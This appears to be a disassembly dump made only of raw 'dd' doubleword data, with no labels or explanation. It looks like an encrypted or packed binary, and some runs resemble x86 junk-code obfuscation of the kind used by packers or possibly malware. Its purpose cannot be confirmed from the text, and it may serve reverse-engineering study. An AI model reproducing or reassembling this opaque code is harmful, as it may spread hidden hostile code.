		dd 81E90631h, 0DFFFF870h, 0A543F300h, 688E4CBDh, 32D4068Dh
		dd 8066D427h, 0FFAFAF22h, 35B81EE3h, 8805E701h,	40CBAC4Ah
		dd 19907492h, 0E21071D5h, 7A3BE191h, 0C4DE6578h, 0BF11E960h
		dd 3E9056DFh, 2510D65Dh, 0EE4624FCh, 25E5DEA2h,	9056B114h
		dd 8902E5B3h, 6086D231h, 252185BEh, 1271C942h, 9E689B46h
		dd 0EE86AB5h, 0D73125A8h, 5608FE77h, 1DFF7FF6h,	6C9FBA7Ch
		dd 56E499Ah, 4CAFEB3Ch,	0B5806BF9h, 8C92A6EAh, 6A849885h
		dd 36400A0Eh, 0E4AF7A45h, 9691EE02h, 0BF5D8695h, 3C05EF67h
		dd 5CA574B4h, 958ED526h, 85533C86h, 0FF4EAA27h,	20h, 0D259C074h
		dd 0EF598D89h, 1D067A45h, 0EFEA49ADh, 66E28695h, 0E6AE36C0h
		dd 0AD4474B3h, 0E1000000h, 11E960C4h, 7CD9D9BFh, 0F147ACF7h
		dd 199A9817h, 80806CEFh, 91F2B49Fh, 8DEB603Bh, 0A835B3Dh
		dd 7EF75721h, 14F0561Ah, 6E0B09Dh, 5E28DB06h, 0ECE2A75h
		dd 6CEAC24Ah, 78F15580h, 31B81CFAh, 0BD069349h,	0C4D02250h
		dd 543F7A45h, 2E9504E6h, 79C4D1C5h, 0BAE58071h,	0AC218751h
		dd 67EA48AEh, 697E87C6h, 0C1961CADh, 0E78h, 0BAB84B90h
		dd 0C175845Ch, 9CD4627h, 4D8172EFh, 9A58D5ABh, 63C10ECAh
		dd 308A6CEEh, 0FC5FB9BDh, 4521C777h, 0DBAA0ECCh, 3BE05CDFh
		dd 5A8457Ah, 82EB66C4h,	6ADC5736h, 0FD1BD339h, 29A29019h
		dd 0D4FB454Bh, 0BBFC8526h, 181EFB5Dh, 68E3BABAh, 9C6AB59Eh
		dd 3E076CB7h, 8E4EA1D5h, 0E8BB806Ch, 8E5A8C8Ch,	3F057A45h
		dd 0AEBF1674h, 0B5755C09h, 95240271h, 3781CA86h, 0AF61D92Ah
		dd 0ADE640CDh, 4ED07642h, 0B4B21CC4h, 0D9D674h,	0C41F0000h
		dd 0B866460h, 9F7DDB20h, 9C72C612h, 0D45F3E3Eh,	5B5FA08Dh
		dd 806CEED8h, 0B67A5EC1h, 6CEADA72h, 75D9BD80h,	0FF584291h
		dd 5351B274h, 0CF160C00h, 33BA12E6h, 278761E5h,	9702D8AEh
		dd 0D3326409h, 0A78E1E78h, 40D6585Eh, 5EC17A46h, 109B7E9Ch
		dd 0FAFFCFCBh, 41178071h, 0C92A68E7h, 308CC247h, 2A30046Fh
		dd 9D43525Ch, 0BFFB711Dh, 8CC2053Ch, 4893FAA5h,	37379563h
		dd 46F4DF54h, 0BE4FC2A0h, 0AD6947D5h, 5DF7D8CEh, 0AB00000Dh
		dd 799F5FACh, 0C42210E1h, 8E68EA61h, 54B2A053h,	0ABFB7BF6h
		dd 810CE22Fh, 5CD1AB4Dh, 149F789Eh, 0ED64C026h,	0BEE4CD69h
		dd 7A3BE03Dh, 0C46289A4h, 9E82EB66h, 7E1AD6C9h,	5490E4E9h
		dd 4DAED43Dh, 0B4806C84h, 4F2F8DEBh, 4B9F14C6h,	0E2701F45h
		dd 0E0238776h, 8DC09FBCh, 0E46DC9AFh, 86A7919Fh, 0D4CE0E3Ah
		dd 7D13080h, 0FA5C2ADBh, 0F6DDAD20h, 0E76CC9AFh, 16F4C003h
		dd 7B3F3FB6h, 806C7EFCh, 8A48C1A5h, 0B901886Ch,	388E07E7h
		dd 0BA0C8766h, 3B8F02E4h, 0FB4FD775h, 497AACA8h, 9FF664EDh
		dd 6759D091h, 3D1B5EFBh, 0DCEA06EEh, 0D83C7Ah, 0C0090000h
		dd 74F95F59h, 96FFC02Dh, 6CEF0F60h, 43A9FA80h, 45E93F4Fh
		dd 0B3FDA07Ah, 0C237A4C4h, 95E6103Ch, 7C86964Ch, 0F6B0439Eh
		dd 9F6BB29Dh, 964D1C9Bh, 0F234D086h, 0B3858060h, 98BA74h
		dd 66B30000h, 806CEF18h, 40AD1683h, 45DDD452h, 0FF3B0C7Ah
		dd 8696017Ch, 0DE3A65h,	0F5B53892h, 6187B79Eh, 0D0B40C83h
		dd 74A2E159h, 86960203h, 277FA5EEh, 9FB292CFh, 8CFCD920h
		dd 29831BBCh, 0DF7BD183h, 0A466CA2Eh, 0E368C3F5h, 0DB47B398h
		dd 84806EFCh, 98938FBEh, 44F46F2Bh, 24929ED6h, 26BB2F8h
		dd 957AFD39h, 3C678CBFh, 21FA1CD8h, 9B7EDCAAh, 4BCFCB10h
		dd 74869895h, 0BDF9C22Bh, 92E8963Ah, 5C98FCA7h,	3886335h
		dd 5B086CA7h, 8E6h, 78E6ECAh, 624B3E31h, 7ABC3796h, 806CEEF9h
		dd 0FF59BFE0h, 4EB4911Ah, 7A45C9A4h, 82E640D3h,	86961735h
		dd 8B0B13B9h, 74B3BB69h, 1A81h,	1966AA00h, 0D806CEFh, 7BF65020h
		dd 0FC154E1Dh, 73C5FFFFh, 4BC09BE7h, 0C0DB1460h, 0A089D259h
		dd 1DFB76D0h, 0A0E034C5h, 7A45C3F6h, 0F408FEA1h, 86961C87h
		dd 0D55DC147h, 74B3B60Bh, 51727h, 9185EE00h, 8696151Eh
		dd 3CCD158Bh, 0DA3E194Ah, 2DE6B969h, 95FEC76Ch,	6CEF0E61h
		dd 4CA8FB80h, 8B101861h, 1E663457h, 9AB0F0C4h, 8A7A4514h
		dd 490275A1h, 0A4EF8695h, 51998A50h, 8391C830h,	2C44BEF6h
		dd 0C640C8C8h, 5058EDD9h, 0EA59F006h, 62C410FAh, 0F3270CB7h
		dd 2A33781Bh, 8B56220Bh, 0ACBD3E78h, 7B243683h,	66B23F9Dh
		dd 654E97F8h, 83ACBE31h, 1C782B36h, 0DB3B65ACh,	12962E0Ch
		dd 43D6B084h, 396D93F8h, 0D7C26849h, 0F5210C68h, 305FAC58h
		dd 2B8DD6B9h, 0FE18DA53h, 0B396971Eh, 80FD7B2Bh, 0ABEA50Ah
		dd 0DCA0000h, 0BE9A7CFEh, 8C698F4Fh, 2831D707h,	1FFD1BDBh
		dd 0D8F0A092h, 3A38B50Bh, 47F77ADCh, 894DC6A1h,	0D4068F6Fh
		dd 92E51170h, 7F7A3BDCh, 60C4DF66h, 0DEBB11E9h,	0F40A0855h
		dd 2C7A45BDh, 3B7F8C54h, 869621B8h, 0C1177E21h,	5523081Bh
		dd 0EA335CF2h, 0F734C87Ch, 0E62D9D16h, 4E63919Fh, 0A38E4FEh
		dd 565A3323h, 659972AEh, 2C8F8BE2h, 958696AAh, 0F755A38Ah
		dd 0D72B9F14h, 8696A964h, 969A2897h, 9F24F586h,	0B6236DB6h
		dd 0FC75D1C8h, 0CDDBD90Ah, 0C575DF5h, 107637ECh, 260A0F4h
		dd 52806F8Fh, 2829FF2Eh, 5133F504h, 0CD9B9932h,	19FF5DF7h
		dd 9BF1D294h, 2F89D2BDh, 2D66C04Dh, 8565EE4Fh, 62866A4Eh
		dd 8CBF9615h, 6BEB33D9h, 6E8A4089h, 49A1h, 59C08A00h, 558D89D2h
		dd 8D7A45C2h, 7F6FAC83h, 4EB25B0Ch, 1C2D92EAh, 243206CBh
		dd 9EF43779h, 9461862Fh, 96291162h, 4C97F886h, 0C1351E67h
		dd 8696286Eh, 6DCEC85Bh, 54869628h, 986EE546h, 0A414604Bh
		dd 2713h, 0ED4B9000h, 0E0238774h, 0DC673294h, 0C6B383F7h
		dd 9AE37A45h, 17F245B1h, 0B4DF8696h, 9617F142h,	61B7D886h
		dd 15DEA8FBh, 54E960C4h, 0B9BE5D5Bh, 697D4248h,	0A7000009h
		dd 6D8B4BB8h, 30D604F5h, 0FA1CDE55h, 48AEAC5Fh,	0A7F767EAh
		dd 8D00E62Bh, 40CDAF49h, 18937492h, 0D1583CDAh,	0AAE8B91Dh
		dd 7A3BDC49h, 4B169DB0h, 99972E45h, 5F5BFBB5h, 806C91DCh
		dd 2A735AC5h, 6C918BECh, 0CF2D7680h, 3E07AC6Dh,	45601EF8h
		dd 60C6497Ah, 9747CEAEh, 508AE3D3h, 5DDAB85Fh, 159E7B99h
		dd 0D6ECCAC8h, 40D3A7B9h, 0C93820E6h, 8B32E705h, 0A282C8Fh
		dd 0A18A95B4h, 0A280275h, 5DA4EFB4h, 1A40270h, 0D5CBADE3h
		dd 0DB08FE73h, 5713987Dh, 5155157Ch, 0BA334DE2h, 907FA1EAh
		dd 5CD1AB67h, 827BB9EAh, 36D42014h, 0EB7E66F0h,	542C4115h
		dd 588B7FF2h, 117897Ch,	0C0A20000h, 8D89D259h, 7A45BDD1h
		dd 73D595FEh, 0C620129Bh, 0E71BEF66h, 5F50E817h, 0CFF82ECCh
		dd 9274E66Fh, 0B3F7B33Ah, 869C22C3h, 0B670FB5Ch, 0DFD74D0h
		dd 0EDD648D0h, 49A6810Ah, 70C33718h, 59D52C97h,	4F76236h
		dd 0F50B61A2h, 0BE919F31h, 0F861012Dh, 65C1A7F5h, 2C886EECh
		dd 8F07C5A5h, 0A86F650Fh, 6DF565F2h, 9EF92A9Ch,	0A7286EB7h
		dd 0D2D52C07h, 5E514CCh, 9577E7CEh
		dd 2056BF04h, 0CF04ED8Eh, 0FE501679h, 41A7971Eh, 669A6CE5h
		dd 0DB55232Dh, 0BE22E77h, 0F3B9C7Ch, 5DDEC421h,	44DB55DEh
		dd 0C75FFDDBh, 89EA2871h, 70DB55DEh, 936BC92Fh,	7D9CD81Ah
		dd 580729A6h, 90F97DBAh, 17E84B4Fh, 0CBA94FAAh,	0ADA3E046h
		dd 543096E2h, 16096DDDh, 77C97171h, 0A0043DE1h,	6BC32529h
		dd 6BCD04E2h, 59331992h, 0C9127BC0h, 0BF41B2E0h, 0E7A8D5F1h
		dd 9B159191h, 0D142CFCAh, 0C1482CF4h, 311A73EBh, 1AE372C5h
		dd 0CD9F8FDCh, 0AAD45C4Ah, 0D88FEDB6h, 47h, 0D259C0A9h
		dd 0C2558D89h, 838D7A45h, 81493D86h, 4997E57Ch,	107BF04Bh
		dd 9B68F056h, 960B1C9Fh, 921FFD86h, 488AD5BEh, 74406F06h
		dd 0BF3290A2h, 54B198CBh, 9604D52Eh, 8B6DCB86h,	53BA338Bh
		dd 8258BC97h, 0C49AA991h, 8765E960h, 564CA912h,	7A45D6C8h
		dd 515FA4EFh, 3347B9F0h, 3C7A4314h, 869662BBh, 361F7D26h
		dd 60A9A3EDh, 73846474h, 7D56109Dh, 6B9A4612h, 8260B49Fh
		dd 56B0A229h, 0D2887EF5h, 4E97FC47h, 2E9813EAh,	6B9397E5h
		dd 4C806F25h, 0E22E67C3h, 0A9ECB85Bh, 0FD3D1BBFh, 8CBFBD7Eh
		dd 0D4317A1Fh, 98B840AEh, 8C196786h, 0B5905B6Bh, 87FB4F96h
		dd 92E94938h, 9E79DFB4h, 501DEF30h, 46FFBFDh, 8A0C1230h
		dd 6860446Ah, 1C80h, 59C0AD00h,	558D89D2h, 7A7A45C2h, 0A8DCCC29h
		dd 0A971FF7Eh, 0F8CFB399h, 15h,	0D259C049h, 0C6AD8D89h
		dd 13E57A45h, 1F7432BBh, 0B6702339h, 0E960C4BDh, 0BE5D6154h
		dd 0B5C52B9h, 680h, 0B2A05388h,	0F97D8C54h, 135BE1Fh, 45897AE7h
		dd 9240CDA3h, 5B3906C2h, 288264D6h, 0F457B1A5h,	0BD19FF7Fh
		dd 0C3A20634h, 3BD864D7h, 0DB04D7Ah, 7B1E15B9h,	0EE73C432h
		dd 355E806Ch, 7D9581EAh, 957A45D6h, 90E469C3h, 7C8D544Ah
		dd 960AB506h, 28731C86h, 8565944Ch, 0BA1E674Eh,	0B79C6AE1h
		dd 8AADE161h, 0B445CB1h, 0F7D8258Eh, 7ACC4521h,	67CFC329h
		dd 842B5BFh, 53BA318Ah,	44CFAE0Ah, 0E74BA1E2h, 0E6CF7425h
		dd 0DED375B0h, 220B1448h, 3182F0D9h, 98552F48h,	0C52CDF7Ah
		dd 3EB511F7h, 2F4777F8h, 0CC3F1A55h, 0DF240F10h, 0E1B05ED1h
		dd 0E8CC8956h, 0E81B056Ch, 0C0885BA8h, 0E4BA9Eh, 0EE777489h
		dd 76BCE4FBh, 5B361h, 0F506DD00h, 4ABBA741h, 48F6E88h
		dd 0DA2930D6h, 9518FE18h, 14D9F1A1h, 0DD3B3BB6h, 0A244F67Bh
		dd 769042C9h, 7BDF1F96h, 0D78BEC2Ah, 5F767A3Bh,	6460C4D4h
		dd 3200B86h, 0B9BE5D06h, 71C6E91Dh, 9F000005h, 6583B340h
		dd 28CE0CFDh, 0F214C64Dh, 40A69467h, 0BFEF6FE2h, 0F578DE23h
		dd 48C5A741h, 8B6C8Ah, 0D95034D2h, 0A2D0B115h, 7A3BD851h
		dd 0C41EA5B8h, 0BB11E960h, 95C970DEh, 374AB40Eh, 96F1D855h
		dd 9A13EB4Dh, 0BC91E72Ch, 5DCD7546h, 5442AB7Ah,	869DE6E3h
		dd 0E97745CEh, 0E6FD7EA4h, 0BBE4869Dh, 9900E250h, 8D6FC912h
		dd 0B53B8A25h, 853848Bh, 4DD5C12Ch, 728076BEh, 0A8085921h
		dd 357543CEh, 8CC6F2C6h, 249C8206h, 8971F85Ch, 0C7297E5Ah
		dd 636E82DFh, 96h, 1F14B9C8h, 83D4317Ah, 0EEFB7CBAh, 30E6806Ch
		dd 2261D928h, 13987DDBh, 18187C57h, 7A45D5F2h, 0E94A48D5h
		dd 0D0869609h, 0BEF2644Fh, 479CF85Bh, 8273EF49h, 0FE45D4B6h
		dd 1A96195h, 50E4F76h, 8932E7A5h, 3DDB76ACh, 553E55A2h
		dd 45CCA808h, 1E977791h, 3899FAEDh, 0E2F539D8h,	478h, 0BAB84B90h
		dd 0C175845Ch, 9CD4627h, 4D8172EFh, 9A58D5ABh, 63C10ECAh
		dd 308A6CEEh, 0FC5FB9BDh, 4521C777h, 0DBAA0ECCh, 3BD65CDFh
		dd 5A8457Ah, 9335h, 59C0BA00h, 5A8D89D2h, 77A5DE3h, 8561371Ch
		dd 4C28CE0Ch, 0F2A765C5h, 18EE1DC4h, 56CE746h, 8A88D13Ah
		dd 869DFC29h, 44A98F90h, 76F1A45Eh, 4A93E480h, 0C706EB4Ch
		dd 4D4DD68Ch, 8CC706EAh, 938369D7h, 89116B0Eh, 838C4AAEh
		dd 0FB46527h, 0D38EF026h, 1679869Fh, 3B396815h,	0E0F73BA7h
		dd 3E0h, 12C03328h, 599D6CF4h, 0E155DEBFh, 2529DA07h, 72E06DC3h
		dd 0FB59A622h, 4822C476h, 14F711C5h, 0DDB95F9Fh, 6342E654h
		dd 3BD6C437h, 0ED102D7Ah, 0C334624Bh, 2E806CEEh, 0A0131765h
		dd 0D3806CEEh, 806CEE64h, 0F2DB6039h, 5DE2B384h, 0B5751E7Ah
		dd 71F27BD3h, 0B38D50BAh, 8112A569h, 8F000003h,	55B3A350h
		dd 18FE7C8Dh, 0E20436BDh, 0B0568477h, 0CF9F5FD2h, 0E568CE13h
		dd 0B8359771h, 70FB5CBAh, 0C94024C2h, 0D2C0A105h, 7A3BD561h
		dd 0C40EB548h, 87816460h, 0F6DDAD26h, 0A188DBAFh, 2D9603D9h
		dd 0BED4D2C0h, 3B0C7A45h, 961F7CFFh, 0DE3A6586h, 62361F00h
		dd 0E1A7038Ah, 0D53E8879h, 0C7AEAE8Ah, 381C9571h, 0F8752BF8h
		dd 2DFB968h, 42DB3F1h, 21973B38h, 979775CBh, 0E353BA4Bh
		dd 5C2AA705h, 9DE10B75h, 0FDAB4F3Ch, 0D0553D9Fh, 60C4E962h
		dd 0DFBF11E9h, 0A30101DBh, 7EFCC72Eh, 6B984117h, 60EEAB0Dh
		dd 6544BEBh, 301D64F6h,	455408C2h, 0D6B0007Ah, 50A4EF5Bh
		dd 1C9F9B8Ah, 858695B5h, 0B3F7B39Ah, 8695B544h,	981A0C88h
		dd 74B41D58h, 46CDAE0Ah, 0E055A3E0h, 20h, 0D259C04Dh, 0EF598D89h
		dd 1D067A45h, 0EFEA49ADh, 66E28695h, 0E6AE36C0h, 0E44474B3h
		dd 0E1000000h, 8CE960C4h, 7DDB5634h, 7AA9119Ah,	16F4AA1Eh
		dd 8D692F9Bh, 0FE593F04h, 0FD532775h, 624B9019h, 0EE9A1D19h
		dd 1C07806Ch, 6CEE991Ah, 391F0080h, 2E8C543Dh, 0BB5555A3h
		dd 5C806CEAh, 1BFD71F8h, 98E1CA43h, 6CF4199Ah, 0B99F8080h
		dd 3D8613C9h, 0E8B4A2D0h, 0C5DB7A45h, 0C81BEF1Ch, 0A8F6DE1h
		dd 0E85E44A1h, 0CF807158h, 3B997F44h, 4E8B6DB6h, 0B286CDBDh
		dd 0A205D3BAh, 26725129h, 296DE240h, 8CC1ACC6h,	0E4196033h
		dd 0AD69A055h, 0F18728DEh, 1F000001h, 0E50333C0h, 0A84E8C7Dh
		dd 729446CDh, 0C02614E7h, 3F6FEF62h, 75F85EA3h,	0C84527C1h
		dd 800BEC0Ah, 59D0B452h, 22503195h, 7A3BD4D1h, 0C49E2538h
		dd 4AADE966h, 0B7806CEFh, 25AC08ECh, 0DE270E45h, 0C8A2DE7Ah
		dd 478C7A45h, 0BB13F571h, 0C08B0032h, 8D89D259h, 7A45EF59h
		dd 49AD1D06h, 8695EFEAh, 0ED5DD6B7h, 6ED8552Bh,	54EA3C02h
		dd 67EF37D5h, 74B3E67Dh, 0E4B5h, 0F0B5C00h, 8695E3ACh
		dd 252E0A15h, 820FED4Bh, 0FD74D0B6h, 0F5F54B0Dh, 38B51717h
		dd 5E3A69D1h, 5DB67083h, 0D870B472h, 0BF806CEAh, 2E456DFh
		dd 854723AAh, 0C14C2214h, 0FAC32A79h, 4CBE8BB6h, 9AFE3274h
		dd 504F4F4Bh, 0A707A46h, 0B615FF12h, 80ED345Ah,	0FDDB5630h
		dd 0CBCF1079h, 8695F068h, 65D6CC51h, 4C8695F0h,	3A9CF8C3h
		dd 8B8FD45Fh, 80714B96h, 0B503683Bh, 0FE0DD4D2h, 0A4F0DB08h
		dd 8409EF49h, 0F77CD9BFh, 74CCA5A1h, 0F17A3C90h, 1B0BE3C5h
		dd 3F1D7630h, 0F576FB59h, 0AD69732Ah, 0D1A235F9h, 3F000000h
		dd 8563D320h, 48AEAC5Dh, 12F466EDh, 0E00634C7h,	1F4F8F02h
		dd 15987EC3h, 0E865C721h, 0A02B8C6Ah, 79F054B2h, 27051F5h
		dd 7A3BD3B1h, 4BFE0518h, 0B08475EDh, 7DF17CD2h,	884AC39Bh
		dd 0E960C403h, 0F8603011h, 0E94D2309h, 0DFBD1B60h, 0AFC60652h
		dd 96E26FC9h, 0F9536534h, 1F813851h, 9EF91611h,	4B90FB28h
		dd 5DA9204Fh, 68DE417Ah, 7AD2D6B6h, 78DC37F3h, 7F5412E1h
		dd 64C02614h, 0C248ABEFh, 0EEB1869Dh, 0BEE22387h, 3A93FDA0h
		dd 0EEC48E0h, 88EC2783h, 277EE088h, 91DBB6Ch, 61D55C38h
		dd 0D8AE2787h, 5E28DB06h, 1829FD63h, 0A0E835BCh, 0AD9573AAh
		dd 6BE3C971h, 5BA0298Dh, 46921FFDh, 60C593F2h, 0E0341FEBh
		dd 3F3h, 0B43F7000h, 1AEC1FC4h,	9169E044h, 13D75C3Fh, 9056DBBDh
		dd 15D5583Eh, 9650DDB3h, 6CDA2930h, 0EE58D3AAh,	79C13028h
		dd 5C5D683Ah, 3C890000h, 0E1895124h, 4C181h, 0E9830000h
		dd 240C8704h, 242C895Ch, 81E68956h, 4C6h, 4EE8100h, 87000000h
		dd 895C2434h, 1B68240Ch, 8B06310Dh, 0C483242Ch,	5E4A6804h
		dd 24890000h, 24048324h, 5D685904h, 8900001Ah, 0E8892404h
		dd 58084189h, 57240C8Bh, 0C781E789h, 4,	8704C783h, 8B5C243Ch
		dd 8952242Ch, 4C281E2h,	83000000h, 148704C2h, 29E95C24h
		dd 0B8FFF860h, 0EB0D9CD5h, 0C94CA05Ch, 79C388C3h, 311CF1B8h
		dd 0FFC50306h, 12EB07E0h, 5735DB19h, 84BD5704h,	4FEA3402h
		dd 7B9ACF73h, 12206649h, 0C5CB605Fh, 0B5164F3Eh, 0EDE22436h
		dd 0BD9CB924h, 2A29ED4Eh, 629C7C69h, 0B87C511Eh, 0DEF17D4Fh
		dd 79A93941h, 0B1FFBB6Ah, 630F8519h, 0E7B61E71h, 4CC1124Dh
		dd 6E567933h, 9A7F7B1Fh, 0B8F63C60h, 6A8D8D42h,	6A06311Eh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 7613C351h, 8D8930A6h, 6291E6Dh, 0C7F9BF0Fh
		dd 292D8185h, 6F5C06h, 0F38B6600h, 200585C7h, 629h, 0E8530000h
		dd 0Ah,	75EC4617h, 5F2B7363h, 0DE89143h, 0A6000000h, 9C295AA2h
		dd 77E13E01h, 7DD2949Fh, 0FF5A5E58h, 291A91B5h,	999D8B06h
		dd 0FF062913h, 2931E995h, 9958B06h, 6A062906h, 9195FF00h
		dd 8B062905h, 701FEBC0h, 7D1D30FFh, 0B649F8EDh,	0F17D596Bh
		dd 3334212h, 86EAEE2Ch,	66E50420h, 68768D1Eh, 8D8DCC30h
		dd 6311F2Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	5FC35343h, 68BC86BEh, 0B01B8006h, 125DB589h, 800F0629h
		dd 6, 0A318529h, 8D890629h, 6291E6Dh, 27A493BEh, 8185C73Ah
		dd 8406292Dh, 6A000071h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 0D696C355h,	0C6B190A6h
		dd 0C7694A05h, 29200585h, 6, 0FFC28B00h, 291A15B5h, 0FFC28B06h
		dd 2931E995h, 0F9BD8906h, 6A06291Dh, 9195FF00h,	8B062905h
		dd 0FC3EEBC0h, 0D0461323h, 37616078h, 890CD9B6h, 0A24753ABh
		dd 20F540B1h, 89A76D1Dh, 0B1621FACh, 0DC388D00h, 0FD9F9669h
		dd 56E3F4B9h, 0DA19897Ah, 6D8B6E6Dh, 0C9145695h, 3D104B1Bh
		dd 3C29BA89h, 758D8D6Ah, 6A063120h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0DFDFC351h
		dd 7DD447A5h, 2D398D89h, 8D890629h, 6291E6Dh, 4B13BF66h
		dd 2D8185C7h, 6F640629h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 0C24E66C3h, 638954E5h
		dd 0F566FA7h, 85C7D7BFh, 6292005h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0E8C35545h
		dd 0CABEBB3Ch, 81CF2282h, 4911E4DBh, 0DDB5FF0Dh, 6A062919h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 61FDC357h, 2E51BD8Bh, 0DE90629h, 43000000h
		dd 280B7AC8h, 0FB2EA594h, 36FD0AB9h, 31E995FFh,	6A0629h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 67E24C3h, 64E3224Eh,	6A7EA5h, 59195FFh, 0C08B0629h
		dd 4A120AEBh, 1C48FE30h, 1F0A13C7h, 21958D8Dh, 6A0631h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0CAF4DAC3h, 810FD590h, 5, 320058BAh,	6D8D8970h, 8106291Eh
		dd 0B43578F6h, 8185C77Ah, 0E406292Dh, 6A00006Ch, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 19CC350h, 1DED9D89h,	0E8530629h, 0Ch, 18F3D4DDh, 0CC2DF46h
		dd 0B9ECCA48h, 85C75F5Fh, 6292005h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 3C35040h
		dd 0E901416Eh, 73CD3A93h, 0D9958BEDh, 8006290Dh, 6E8B5C2h
		dd 42000000h, 436F5AE0h, 57C880E1h, 0D9B5FF58h,	8B06292Fh
		dd 290F8985h, 55958906h, 0FF06292Dh, 2931E995h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 37484FD4h, 0E28A84C7h, 5E9h,	69B8FE00h, 6A89BAh, 59195FFh
		dd 0C08B0629h, 0EAAF28EBh, 0B5E0A3CDh, 8AC30358h, 0DADB2C7Eh
		dd 0E0493A07h, 0BADFEEDBh, 0A8D9CA2Fh, 603980F4h, 240DF7D8h
		dd 0F1A1ABC7h, 6E815EEh, 0B8000000h, 9B0645B2h,	79B589FCh
		dd 5B06292Ch, 25F9858Bh, 0C3810629h, 593Ah, 33ADB58Bh
		dd 0C92B0629h, 2A5D858Bh, 148B0629h, 0FAB70F0Bh, 0EEBBEA81h
		dd 852B7EA9h, 6290755h,	7CF6F281h, 13E96216h, 53000000h
		dd 0E8FFD898h, 723B6FC2h, 576B54CFh, 0E4DD47C4h, 0F2812F19h
		dd 6509772Ch, 0BD2B52F9h, 62932D5h, 600B048Fh, 28F99589h
		dd 0B9600629h, 49777704h, 33898D8Bh, 61610629h,	12E850h
		dd 0D5E50000h, 0EFDB3F07h, 649CF6EBh, 9BE62A0Ch, 126ADB9Ch
		dd 20099D09h, 58580629h, 0A9F2E981h, 840F6612h,	6, 60D18B60h
		dd 0C1816161h, 6612A9EEh, 0BF0FF860h, 0F98161D7h, 0FFFFA790h
		dd 0FF60850Fh, 5160FFFFh, 0FC5EC28Bh, 10EB61h, 3 dup(0)
		dd 8B000000h, 6850FC0h,	8B000000h, 291B79B5h, 9DBD8306h
		dd 62930h, 0BD830975h, 6290075h, 50197400h, 0B8C08B53h
		dd 42Dh, 31058589h, 9D8D0629h, 62BAAA2h, 585BD3FFh, 75BD83h
		dd 74000629h, 0B8535017h, 42Dh,	31058589h, 9D8D0629h, 62BA791h
		dd 585BD3FFh, 0BE8h, 6E8B7100h,	76E494D9h, 26B26B71h, 23F1B58Bh
		dd 895E0629h, 2914B99Dh, 66C08B06h, 8D8BD68Bh, 629162Dh
		dd 11E9h, 7BA8700h, 67415C5Ah, 19750285h, 0E5D98BEh, 0F983F0D0h
		dd 73840F00h, 80000000h, 8B645EF2h, 2C3Dh, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
		dd 87BAC6AEh, 8B57AD97h, 29112995h, 0FFF0B06h, 3984h, 7E900h
		dd 6590000h, 2FEEEB27h,	0BA3F8B3Eh, 77C263A9h, 0B503C032h
		dd 6292C4Dh, 10E8AAF3h,	88000000h, 0BE41B53Bh, 0CDC6D70h
		dd 66EC6922h, 5E9A8A77h, 2A859531h, 49350629h, 50535041h
		dd 30B9958Bh, 0C65A0629h, 291B5985h, 6A4706h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0A03ACCC3h
		dd 13BE62FAh, 0E8D18B73h, 10h, 35604CA9h, 2A51D396h, 0D6B0F049h
		dd 3814B7C8h, 685AD38Ah, 0A01584F1h, 0EE9h, 0E11A6B00h
		dd 2980847Bh, 9278727Ah, 8173B932h, 33B2404h, 0D78A3CC1h
		dd 1A99B5FFh, 0F18B0629h, 7BD2858Dh, 0F681062Ch, 5307D356h
		dd 958BD0FFh, 6292B2Dh,	249D8589h, 6A0629h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 85C616C3h
		dd 6291B59h, 0FD958B53h, 0F062933h, 6A68F0B7h, 81CC8E07h
		dd 6D962434h, 0AE94416h, 6B000000h, 0FE77466h, 8B746AADh
		dd 99B5FF23h, 0E906291Ah, 14h, 6D82D79Bh, 256A44E6h, 5EDB8F2h
		dd 4904846Fh, 0EE2DBDDAh, 7BD2858Dh, 6A062Ch, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 496010C3h
		dd 0E851D0FFh, 10h, 0ADC4B5F4h,	2F4EDD01h, 4AA02A9Eh, 0B0BCEE26h
		dd 4D5BD89h, 5E5A0629h,	3927858Dh, 68BA062Ch, 893A702Eh
		dd 290F5D85h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 0E9313C3Eh, 0D99589E3h, 8906292Dh
		dd 2924A185h, 6A206A06h, 5D95FFFFh, 3506290Fh, 53504149h
		dd 11FD85C7h, 10629h, 85C70000h, 6290D49h, 0
		dd 68D0Fh, 0BD890000h, 6290095h, 858BD08Bh, 6290EF5h, 0FE9h
		dd 0E89D1200h, 0A701D770h, 672CAAEDh, 0C944DB86h, 0A364h
		dd 0BD890000h, 6292985h, 2631BD83h, 0F000629h, 3884h, 75950900h
		dd 8B062928h, 291AC585h, 0ECC28106h, 8B3C70E5h,	51006AE0h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 9F9034EAh, 998A9437h, 0EDBD8317h, 6292Dh, 3F9850Fh
		dd 958B0000h, 6290029h,	1B5985C6h, 6A560629h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 5D96C355h, 68F6B70Fh, 0E40A8657h, 840F5360h,	0
		dd 2830F58h, 60000000h,	34816161h, 0CFB68824h, 0EBBA664Dh
		dd 99B5FFFFh, 6A06291Ah, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 8510C356h, 4D31F885h
